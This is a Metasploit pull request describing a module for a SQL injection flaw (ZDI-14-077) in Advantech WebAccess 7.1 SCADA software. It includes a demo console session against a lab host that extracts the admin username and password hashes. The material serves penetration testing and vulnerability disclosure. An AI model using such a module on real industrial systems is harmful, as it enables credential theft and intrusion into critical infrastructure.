rapid7/metasploit-framework — pull request #3358 by jvazquez-r7 (2014-05-13 19:22:18+00:00)
Title: Add module for ZDI-14-077

Tested with Advantech WebAccess 7.1, which can be downloaded from http://advantech.vo.llnwd.net/o35/www/webaccess/webaccess7.1/AdvanrechWebAccessUSANode_2013.05.30_1.1.5.exe

Verification
---------------

- [ ] Install Advantech WebAccess 7.1 on a Windows operating system (it needs an IIS server with ASP .NET)
- [ ] Use the module like in the demo, hopefully enjoy disclosure of users and their hashes

DEMO
--------

```
msf > use auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli
msf auxiliary(advantech_webaccess_dbvisitor_sqli) > workspace -a advantech
[*] Added workspace: advantech
msf auxiliary(advantech_webaccess_dbvisitor_sqli) > set rhost 172.16.158.141
rhost => 172.16.158.141
msf auxiliary(advantech_webaccess_dbvisitor_sqli) > check
[+] 172.16.158.141:80 - The target is vulnerable.
msf auxiliary(advantech_webaccess_dbvisitor_sqli) > run

[*] 172.16.158.141:80 - Exploiting sqli to extract users information...
[*] 172.16.158.141:80 - Parsing extracted data...
[+] 172.16.158.141:80 - 1 users found!
vBulletin Users
===============

Username Password Hash Password Hash 2
-------- ------------- ---------------
admin AA3B14E291B01D98 28657DA73133A725

[*] Auxiliary module execution completed
msf auxiliary(advantech_webaccess_dbvisitor_sqli) > creds

Credentials
===========

host port user pass type proof active?
---- ---- ---- ---- ---- ----- -------
172.16.158.141 80 admin AA3B14E291B01D98:28657DA73133A725 hash